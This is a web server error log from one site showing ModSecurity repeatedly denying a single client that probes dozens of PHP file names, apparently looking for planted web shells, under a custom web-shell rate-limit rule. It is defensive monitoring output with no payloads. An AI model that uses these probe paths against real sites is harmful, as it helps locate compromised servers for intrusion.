[Tue Dec 23 02:02:13.460539 2025] [:error] [pid 40268:tid 40322] [client 13.79.133.172:5820] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tll.php"] [unique_id "aUmHpZWtCyS5tdJAiFxiaAAAANQ"]
[Tue Dec 23 02:02:14.043385 2025] [:error] [pid 40268:tid 40310] [client 13.79.133.172:7893] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aUmHppWtCyS5tdJAiFxibAAAAMg"]
[Tue Dec 23 02:02:14.603054 2025] [:error] [pid 40269:tid 40344] [client 13.79.133.172:2946] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aUmHpi06Z11fTcfdsqTtYQAAAQ8"]
[Tue Dec 23 02:02:15.154670 2025] [:error] [pid 40267:tid 40278] [client 13.79.133.172:7932] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aUmHp-TPWWVt2GkrftB0qwAAAAU"]
[Tue Dec 23 02:02:15.715507 2025] [:error] [pid 40267:tid 40289] [client 13.79.133.172:5650] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cwsd.php"] [unique_id "aUmHp-TPWWVt2GkrftB0rQAAABA"]
[Tue Dec 23 02:02:16.273141 2025] [:error] [pid 40269:tid 40340] [client 13.79.133.172:8391] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aUmHqC06Z11fTcfdsqTtYwAAAQs"]
[Tue Dec 23 02:02:16.836366 2025] [:error] [pid 40267:tid 40279] [client 13.79.133.172:11094] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aUmHqOTPWWVt2GkrftB0sQAAAAY"]
[Tue Dec 23 02:02:17.422912 2025] [:error] [pid 40267:tid 40288] [client 13.79.133.172:12177] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aUmHqeTPWWVt2GkrftB0swAAAA8"]
[Tue Dec 23 02:02:17.992887 2025] [:error] [pid 40268:tid 40324] [client 13.79.133.172:14349] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/png.php"] [unique_id "aUmHqZWtCyS5tdJAiFxibwAAANY"]
[Tue Dec 23 02:02:18.563793 2025] [:error] [pid 40268:tid 40302] [client 13.79.133.172:7903] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUmHqpWtCyS5tdJAiFxicgAAAMA"]
[Tue Dec 23 02:02:19.140851 2025] [:error] [pid 40361:tid 40377] [client 13.79.133.172:1820] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUmHq-xiDEK95vL2EDrcZgAAAE4"]
[Tue Dec 23 02:02:19.682429 2025] [:error] [pid 40267:tid 40293] [client 13.79.133.172:13924] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUmHq-TPWWVt2GkrftB0twAAABQ"]
[Tue Dec 23 02:02:20.231247 2025] [:error] [pid 40361:tid 40386] [client 13.79.133.172:11100] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUmHrOxiDEK95vL2EDrcbAAAAFc"]
[Tue Dec 23 02:02:20.794163 2025] [:error] [pid 40267:tid 40275] [client 13.79.133.172:2333] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aUmHrOTPWWVt2GkrftB0uAAAAAI"]
[Tue Dec 23 02:02:21.351768 2025] [:error] [pid 40268:tid 40310] [client 13.79.133.172:5763] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aUmHrZWtCyS5tdJAiFxidAAAAMg"]
[Tue Dec 23 02:02:21.915510 2025] [:error] [pid 40269:tid 40338] [client 13.79.133.172:6094] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aUmHrS06Z11fTcfdsqTtagAAAQk"]
[Tue Dec 23 02:02:22.459467 2025] [:error] [pid 40268:tid 40306] [client 13.79.133.172:15912] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/idea.php"] [unique_id "aUmHrpWtCyS5tdJAiFxidwAAAMQ"]
[Tue Dec 23 02:02:23.035131 2025] [:error] [pid 40268:tid 40314] [client 13.79.133.172:15853] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aUmHr5WtCyS5tdJAiFxiegAAAMw"]
[Tue Dec 23 02:02:23.623367 2025] [:error] [pid 40361:tid 40383] [client 13.79.133.172:1798] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aUmHr-xiDEK95vL2EDrcbQAAAFQ"]
[Tue Dec 23 02:02:24.218610 2025] [:error] [pid 40361:tid 40374] [client 13.79.133.172:15518] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aUmHsOxiDEK95vL2EDrcbwAAAEs"]
[Tue Dec 23 02:02:24.791111 2025] [:error] [pid 40361:tid 40366] [client 13.79.133.172:11111] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/litanies.php"] [unique_id "aUmHsOxiDEK95vL2EDrccQAAAEM"]
[Tue Dec 23 02:02:25.356253 2025] [:error] [pid 40361:tid 40372] [client 13.79.133.172:10326] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aUmHsexiDEK95vL2EDrccgAAAEk"]
[Tue Dec 23 02:02:25.921985 2025] [:error] [pid 40361:tid 40375] [client 13.79.133.172:8955] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aUmHsexiDEK95vL2EDrcdAAAAEw"]
[Tue Dec 23 02:02:26.501229 2025] [:error] [pid 40361:tid 40382] [client 13.79.133.172:13795] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aUmHsuxiDEK95vL2EDrcdgAAAFM"]
[Tue Dec 23 02:02:27.079328 2025] [:error] [pid 40267:tid 40286] [client 13.79.133.172:5378] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aUmHs-TPWWVt2GkrftB0uwAAAA0"]
[Tue Dec 23 02:02:27.680358 2025] [:error] [pid 40267:tid 40295] [client 13.79.133.172:15826] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aUmHs-TPWWVt2GkrftB0wQAAABY"]
[Tue Dec 23 02:02:28.266029 2025] [:error] [pid 40361:tid 40373] [client 13.79.133.172:12313] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aUmHtOxiDEK95vL2EDrcegAAAEo"]
[Tue Dec 23 02:02:28.857839 2025] [:error] [pid 40269:tid 40351] [client 13.79.133.172:9131] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aUmHtC06Z11fTcfdsqTtbQAAARY"]
[Tue Dec 23 02:02:29.434319 2025] [:error] [pid 40267:tid 40289] [client 13.79.133.172:5751] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ticket.php"] [unique_id "aUmHteTPWWVt2GkrftB0ygAAABA"]
[Tue Dec 23 02:02:30.013514 2025] [:error] [pid 40267:tid 40273] [client 13.79.133.172:9812] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aUmHtuTPWWVt2GkrftB0zwAAAAA"]
[Tue Dec 23 02:02:30.568512 2025] [:error] [pid 40267:tid 40287] [client 13.79.133.172:3602] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aUmHtuTPWWVt2GkrftB00AAAAA4"]
[Tue Dec 23 02:02:31.123907 2025] [:error] [pid 40267:tid 40293] [client 13.79.133.172:11993] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aUmHt-TPWWVt2GkrftB01AAAABQ"]
[Tue Dec 23 02:02:31.700575 2025] [:error] [pid 40267:tid 40274] [client 13.79.133.172:2971] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lufix.php"] [unique_id "aUmHt-TPWWVt2GkrftB02AAAAAE"]
[Tue Dec 23 02:02:32.268460 2025] [:error] [pid 40267:tid 40290] [client 13.79.133.172:1811] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUmHuOTPWWVt2GkrftB02gAAABE"]
[Tue Dec 23 02:02:32.840676 2025] [:error] [pid 40268:tid 40312] [client 13.79.133.172:14034] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUmHuJWtCyS5tdJAiFxiggAAAMo"]
[Tue Dec 23 02:02:33.395953 2025] [:error] [pid 40269:tid 40335] [client 13.79.133.172:11378] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUmHuS06Z11fTcfdsqTtcQAAAQY"]
[Tue Dec 23 02:02:34.799060 2025] [:error] [pid 40269:tid 40336] [client 13.79.133.172:16048] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "aUmHui06Z11fTcfdsqTtdQAAAQc"]
[Tue Dec 23 02:02:35.334164 2025] [:error] [pid 40268:tid 40309] [client 13.79.133.172:4032] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUmHu5WtCyS5tdJAiFxiigAAAMc"]
[Tue Dec 23 02:02:35.873267 2025] [:error] [pid 40269:tid 40346] [client 13.79.133.172:11671] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUmHuy06Z11fTcfdsqTtdwAAARE"]
[Tue Dec 23 02:02:36.410037 2025] [:error] [pid 40267:tid 40285] [client 13.79.133.172:9082] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUmHvOTPWWVt2GkrftB04AAAAAw"]
[Tue Dec 23 02:02:36.955735 2025] [:error] [pid 40267:tid 40291] [client 13.79.133.172:5957] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUmHvOTPWWVt2GkrftB04QAAABI"]
[Tue Dec 23 02:02:37.516635 2025] [:error] [pid 40267:tid 40278] [client 13.79.133.172:12007] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "aUmHveTPWWVt2GkrftB04wAAAAU"]
[Tue Dec 23 02:02:38.063004 2025] [:error] [pid 40268:tid 40318] [client 13.79.133.172:5962] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "aUmHvpWtCyS5tdJAiFxijQAAANA"]
[Tue Dec 23 02:02:38.618474 2025] [:error] [pid 40268:tid 40323] [client 13.79.133.172:2954] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "aUmHvpWtCyS5tdJAiFxijgAAANU"]
[Tue Dec 23 02:02:39.187956 2025] [:error] [pid 40269:tid 40352] [client 13.79.133.172:4070] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "aUmHvy06Z11fTcfdsqTthgAAARc"]
[Tue Dec 23 02:02:39.767766 2025] [:error] [pid 40361:tid 40378] [client 13.79.133.172:6132] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUmHv-xiDEK95vL2EDrchgAAAE8"]
[Tue Dec 23 02:02:40.355203 2025] [:error] [pid 40269:tid 40339] [client 13.79.133.172:11650] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUmHwC06Z11fTcfdsqTtiQAAAQo"]
[Tue Dec 23 02:02:40.933308 2025] [:error] [pid 40269:tid 40331] [client 13.79.133.172:5981] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUmHwC06Z11fTcfdsqTtjQAAAQI"]
[Tue Dec 23 02:02:41.501381 2025] [:error] [pid 40361:tid 40366] [client 13.79.133.172:10350] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/doc.php"] [unique_id "aUmHwexiDEK95vL2EDrcigAAAEM"]
[Tue Dec 23 02:02:42.079791 2025] [:error] [pid 40361:tid 40363] [client 13.79.133.172:7561] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUmHwuxiDEK95vL2EDrcjAAAAEA"]
[Tue Dec 23 02:02:42.656084 2025] [:error] [pid 40268:tid 40314] [client 13.79.133.172:12011] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUmHwpWtCyS5tdJAiFxikgAAAMw"]
[Tue Dec 23 02:02:43.232799 2025] [:error] [pid 40361:tid 40377] [client 13.79.133.172:5425] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUmHw-xiDEK95vL2EDrcjwAAAE4"]
[Tue Dec 23 02:02:43.839000 2025] [:error] [pid 40269:tid 40333] [client 13.79.133.172:13773] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aUmHwy06Z11fTcfdsqTtkQAAAQQ"]
[Tue Dec 23 02:02:44.412791 2025] [:error] [pid 40269:tid 40341] [client 13.79.133.172:6545] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aUmHxC06Z11fTcfdsqTtlQAAAQw"]
[Tue Dec 23 02:02:44.993362 2025] [:error] [pid 40267:tid 40283] [client 13.79.133.172:10584] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aUmHxOTPWWVt2GkrftB05wAAAAo"]
[Tue Dec 23 02:02:45.560298 2025] [:error] [pid 40268:tid 40322] [client 13.79.133.172:6519] [client 13.79.133.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amphicyon.php"] [unique_id "aUmHxZWtCyS5tdJAiFxilwAAANQ"]
